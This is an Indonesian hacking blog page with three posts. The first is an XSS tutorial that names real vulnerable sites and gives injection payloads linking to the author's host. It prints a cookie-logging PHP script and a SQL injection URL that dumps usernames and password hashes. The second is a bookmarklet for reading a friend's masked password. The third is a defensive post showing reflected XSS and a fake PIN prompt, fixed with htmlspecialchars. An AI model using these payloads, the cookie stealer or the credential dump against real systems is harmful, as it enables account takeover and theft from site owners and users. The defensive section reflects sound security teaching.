Tampilkan postingan dengan label web. Tampilkan semua postingan
Tampilkan postingan dengan label web. Tampilkan semua postingan

Minggu, 19 Februari 2012

Web Hacking dengan XSS


nah kali ini ane ingin berbagi pengetahuan dengan sobat blogger tentang web hacking dengan XSS, mungkin ada yang belum tau, apa itu XSS..
(XSS)Cross site scripting adalah kelemahan keamanan yang terjadi pada penggunaan teknologi dynamic page. Cross site scripting dapat diartikan sebagai kelemahan yang terjadi akibat ketidakmampuan server dalam memvalidasi input yang diberikan oleh pengguna. Algoritma, yang digunakan untuk pembuatan halaman yang diinginkan, tidak mampu melakukan penyaringan terhadap masukkan tersebut.Hal ini memungkinkan halaman yang dihasilkan menyertakan perintah yang sebenarnya tidak diperbolehkan.

Cross site scripting merupakan kelemahan yang populer untuk dieksploitasi. Namun sayangnya, banyak penyedia layanan yang tidak mengakui kelemahan tersebut dan melakukan perubahan pada sistem yang mereka gunakan.Citra penyedia layanan merupakan harga yang dipertaruhkan ketika mereka mengakui kelemahan tersebut.Sayangnya dengan tindakan ini konsumen atau pengguna menjadi pihak yang dirugikan.

Cross site scripting bekerja bak penipu dengan kedok yang mampu mengelabui orang yang tidak waspada. Elemen penting dari keberhasilan cross site scripting adalah social engineering yang baik dari si penipu. Social engineeringmerupakan elemen terpenting yang menentukan keberhasilan penipuan yang akan dilakukan. Cross site scripting memampukan seseorang yang tidak bertanggungjawab.

nah cukup buat teori nya, lang sung aja prakteknya..
seperti yang kita ketahui bahwa XSS, merupakan suatu cara menyilangkan situs target debgan script yang kita buat,,  pertama-tama, kita harus mengetahui situs yang kita jadikan target itu vuln atau gak,  supaya gampang agan bisa makai software acunetix,,  agan bisa download disini.
setelah kita mengetahui bahwa situs itu rentan di hack maka, mulai lah kita membangun script untuk melakukan penyilangan tersebut, baik itu SQL, PHP, dsb..
contoh disini ane menemukan beberapa situs yang rentan terhadap XSS, yaitu situs PLN, sman1 cilacap, dan situs arthagraha.com ..disitus PLN ane menemukan page yang sangat rentan terhadap XSS, yaitu pada direktori berikut  http://www.pln.co.id/kontak-kami/telusur.php?nokeluhan=  seterusnya kita buat script yang sesuai untuk menyilangkan situs tersebut, hingga halaman tersebut akan terliahat berbeda,,  contoh scriptnya : 

" style="display:none"></iframe><p align="center"><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="_blank"><img src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" border="0"></a></p><iframe style="display:none">

setelah itu gabungkan url yang vuln tadi dengan script yang kita buat tadi..  maka akan menghasilkan penampakan seperti berikut :


jika agan masuk ke URL tersebut akan mendapatkan halaman seperti gambar berikut :



Nah tidak Cuma sampai disitu web hacking dengan XSS,,  jika admin dari web tersebut mengklik gambar yang kita tanam di halaman web tersebut maka secara otomatis data dari admin tersebut akan kita tangkap yakni cookiesnya..  tapi disini saya tidak membahas hacking web dengan cookies, mungkin lain kali..  J
 Script untuk mencuri data tersebut merupakan script php yang telah kita upload sebelum nya di hostingan kita..  ini contoh script php nya :

<?php 

function GetIP() 

   if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
      $ip = getenv("HTTP_CLIENT_IP"); 
   else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
      $ip = getenv("HTTP_X_FORWARDED_FOR"); 
   else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
      $ip = getenv("REMOTE_ADDR"); 
   else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
      $ip = $_SERVER['REMOTE_ADDR']; 
   else 
      $ip = "unknown"; 
   return($ip); 


function logData() 

   $ipLog="log.txt"; 
   $cookie = $_SERVER['QUERY_STRING']; 
   $register_globals = (bool) ini_get('register_gobals'); 
   if ($register_globals) $ip = getenv('REMOTE_ADDR'); 
   else $ip = GetIP(); 

   $rem_port = $_SERVER['REMOTE_PORT']; 
   $user_agent = $_SERVER['HTTP_USER_AGENT']; 
   $rqst_method = $_SERVER['METHOD']; 
   $rem_host = $_SERVER['REMOTE_HOST']; 
   $referer = $_SERVER['HTTP_REFERER']; 
   $date=date ("l dS of F Y h:i:s A"); 
   $log=fopen("$ipLog", "a+"); 

   if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) 
      fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>"); 
   else 
      fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n"); 
   fclose($log); 


logData(); 

?>

Dan jika admin atau orang lain yang mengklik gambar tersebut kita akan mendapatkan data mereka seperti berikut :

http://keamanan-komputer.webhostingindonesia.net/log.txt  (silahkan diklik untuk melihat contoh data yang tertangkap )

dan contoh lainnya situs yang rentan XSS..


http://www.arthagraha.com/NewsPOP.asp?title=Critical Cross Site Scripting!</title></head><body><center><h1>XSSED</h1>by<br><br><b>FLANOIDS<br>http://flanoids.blogspot.com<br><br><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="new"><img border="0" src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" alt="Enter Kelompok 6 - http://keamanan-komputer.webhostingindonesia.net/"></a><noscript>

dan yang satu ini merupakan XSS dengan SQL injection, yang berfungsi untuk menampilkan username dan password user dalam situs tersebut,  akan tetapi password masih dala bahasa MD5, dan kita harus mendeskripsikan bahasa MD5 tersebut terlebih dahulu..


http://www.sman1clp.com/index.php?cat=artikel&idartikel=-28 union select 1,2,3,group_concat(user_id,0x2d2d,username,0x2d2d,user_password),5 from phpbb_users


sekian dari saya yang masih sangat nubie ini, harap maklum karena saya masih pemula yang ingin berbagi, dan artikel ini saya buat hanya untuk bahan pembelajaran semata bukan untuk mengajarkan berbuat jahat..  mohon maaf jika ada kata-kata yang salah,  wasalam.. J


Rabu, 15 Februari 2012

Tips Melihat Password Bintang


Bosen gak ada kegiatan, kebetulan ada temen login di Laptop untuk Browsing.
Pas kebetulan dia pergi sambil ninggalin password bintangnya & boom saya tau deh passwordnya. Hehehe 
Berikut saya kasi contohnya:
1. Ada seseorang yang login ke website untuk melakukan check email, login ke facebook & sebagainya. Maka akan tampak seperti contoh dibawah:
Terlihat disana bahwa Address Barnya masih: https://login.yahoo.com/config/login_verify2?&.src=ym & kita masih belum tahu apa sih passwordnya (Password Berbentuk Bintang: ***************). Penasaran kan?
2. Kita lanjutkan dengan membuat kode berikut:
javascript:(/* BinusHacker Tutorial By UtuH */ function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwordnya adalah:\n\n" + s); else alert("Tidak ada password bintang disini.");})();
Kita copy script diatas ke ADDRESS BAR, sehingga di ADDRESS BAR menjadi seperti gambar berikut:
BOOOOOMMMMM, dari informasi di atas kelihatan kan bahwa:
USERNAME: BINUSHACKER
PASSWORD: HACKERINDONESIA
Selamat, anda telah dapat melihat PASSWORD yang tersembunyi dalam BINTANG-BINTANG!
Enjoy & Eat It.. :)

Mencegah Website Dari Serangan XSS



Pada bahasan-bahasan sebelumnya, kita telah membahas tentang dasar/konsep pembuatan form dengan HTML dan PHP. Nah, sekarang mari kita tes, seberapa amankah script tersebut dari serangan peretas.
XSS (Cross Site Scripting) adalah salah satu teknik hacking yang menggunakan metode script injection melalui celah tertentu pada suatu halaman website. Celah tersebut terkadang bisa melalui input form, atau dengan cara memodifikasi parameter URL. Adapun script yang di-injeksikan terdapat beberapa macam, bisa HTML Tag, JavaScript, PHP, ASP (sesuai web server), dll.
Sekarang mari kita coba pada form html yang menggunakan metode POST berikut,
<html>
<head>
<title>Form in One file</title>
</head>
<body><center><h5>
<?php
if ($_POST) {
echo “Anda tinggal di ” . $_POST['alamat'];
} else {
?>
<form action=”" method=”POST”>
Alamat : <input type=”text” name=”alamat”>
<input type=”submit” value=”Proses”>
</form>
<?php
}
?>
<br><br><p>
Copyright @ www.almansyurin.web.id
</body>
</html>
Script tersebut diatas, akan menghasilkan sebuah form yang bernama Alamat. Sekilas form tersebut terlihat biasa-biasa saja, namun coba kita injeksikan HTML Tag berikut pada form tersebut.
<body bgcolor=”black”><center><font color=”green” size=”30″>
This Site Was Hacked
</font></center></body>
Dan lihat apa yang terjadi, web server akan tetap memproses input HTML Tag tersebut, dan menampilkanya pada web browser. Terus pertanyaanya adalah, apa dampak yang ditimbulkan dari serangan XSS tersebut?? toh itu juga tidak merusak server, hanya merubah tampilanya saja?? Hal tersebut akan kita kupas di akhir bahasan nanti.
Berikut contoh lain serangan XSS yang dilakukan melalui modifikasi parameter URL (Uniform Resource Locator). Hal ini biasa terjadi pada form HTML yang menggunakan metode GET. Lihatlah parameter URL berikut,
http://www.almansyurin.web.id/onefile.php?alamat=Mojokerto
Sekarang bagaimana kalau kita sisipkan kode JavaScript berikut di belakang parameter tersebut. Lebih tepatnya, ganti kata “Mojokerto” dengan script di bawah ini,
<script>alert(“Is This Vulnerable!”);</script>
Dan kode Javascript pun akan tetap diproses, dan ditampilkan kembali pada web browser client. Serangan XSS semacam ini disebut “Reflected XSS”, karna hanya akan dipantulkan kembali ke client tersebut.
Walaupun HTML Tag dan Javascript injection ini tidak berpengaruh besar pada sisi server, namun hal ini juga termasuk vulnerable. Karena dapat merusak tampilan website tersebut, dengan sedikit kreatifitas dari si peretas.
Nah, bagaimana sekarang kalau kita injeksikan kode Javascript berikut,
<script>prompt(“Masukan Nomor PIN Anda?”,” “);</script>
Pengunjung/Client yang masih awam, pastinya akan dengan mudah percaya dan kemudian memasukan PIN mereka tersebut. Tapi bagaimana cara kerjanya, kalau hal tersebut hanya dipantulkan pada web browser si peretas??
Jawabanya mudah sekali, yaitu dengan LINK HTML. Dengan membuat link yang menuju pada halaman yang sudah kita injeksikan tersebut, para korban akan lebih mudah tertipu. LINK tersebut juga dapat kita masukan ke website korban melalui fasilitas GuestBook, atau Komentar.
Saya disini tidak mengajarkan untuk berbuat jahat, namun memang itulah apa adanya yang harus kita ketahui. Dan untuk pencegahanya, kita dapat menggunakan fungsi khusus “htmlspecialchars” dari PHP. Tambahkan fungsi tersebut seperti contoh-contoh berikut,
//contoh method POST
$umur = htmlspecialchars($_POST['age']);
//contoh method GET
$nama = htmlspecialchars($_GET['name']);
//contoh langsung
echo “Alamat : ” . htmlspecialchars($_POST['alamat']);
Fungsi khusus tersebut adalah untuk memfilter semua input dari client, untuk dirubah menjadi STRING. Sehingga akan tampil apa adanya.
Sedangkan untuk serangan XSS mengguanakn PHP sebagai bahan injeksinya, sebagian besar tidak akan berfungsi. Karna script tersebut akan langsung dirubah menjadi STRING. Lebih mudahnya adalah, tidak bisa menjalankan PHP di dalam PHP.
Untuk mengakali hal tersebut pun, kita masih bisa menggunakan fungsi eval(), yang tentunya Insya Allah akan kita ulas di bahasan berikutnya. AJKH
Artikel by: almansyurin @ moedzta97@gmail.com